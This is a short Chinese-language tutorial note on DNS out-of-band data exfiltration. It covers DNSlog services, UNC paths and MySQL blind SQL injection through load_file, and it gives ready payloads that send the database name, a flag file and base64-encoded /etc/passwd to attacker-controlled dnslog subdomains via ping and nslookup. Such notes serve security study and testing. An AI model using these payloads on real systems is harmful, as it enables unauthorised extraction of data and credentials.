DNS外带
DNS log:记录了你对此域名或者ip的访问信息(即日志记录)
DNSlog常见平台:http://www.dnslog.cn、http://admin.dnslog.link、http://ceye.io
UNC:一种命名惯例,主要用于在Microsoft Windows上指定和映射网络驱动器。UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。UNC命名由三个部分组成- 服务器名, 共享资源名称, 和一个可选的文件路径,\\servername\sharename\file_path。如访问softer计算机中名为it168的共享文件夹,用UNC表示就是\\softer\it168
SQL DNS外带注入
DNS外带注入:当我们对一个数据库进行注入时,无回显,且无法进行时间注入,那么就可以利用一个通道,把查询到数据通过通道带出去,这里的通道包括:http请求、DNS解析、SMB服务等。当我们输入域名时,会向DNS服务器解析获取IP在通过IP访问,在这过程中DNS服务器会产生对域名请求解析的日志,比如此时存在一个域名为summer.com,要使用的payload为 `whoami`.summer.com,就可以通过DNS解析日志来获取到主机名
mysql外带注入只能发生在windows机器上
1 | select load_file(concat("\\\\",database(),".1a1m5e.dnslog.cn\\2.txt")); |
设置load_file状态
load_file() :读取一个文件并将其内容作为字符串返回,参数是文件的完整路径
- 当secure_file_priv为空,则表示没有任何限制
- 当secure_file_priv为指定目录,则表示数据库导入导出只能在指定目录
- 当secure_file_priv为null,则表示不允许导入导出
MySql查询secure_file_priv有以下方式:
1 | show variables like '%secure%'; |
只有secure_file_priv为空时,才可以利用mysql-dnslog外带注入
DNS 命令执行
1 | ping $(tac fl*).405f4ab6d0.ipv6.1433.eu.org. |
1 | nslookup $(cat /etc/passwd | base64 | head -c 63).g23a5v.dnslog.cn |
注意
- DNS 查询的主机名通常只能包含字母、数字、连字符等字符,Base64 编码可以确保数据在这些限制内
- DNS 查询的子域名长度有限,通常为 63 字符以内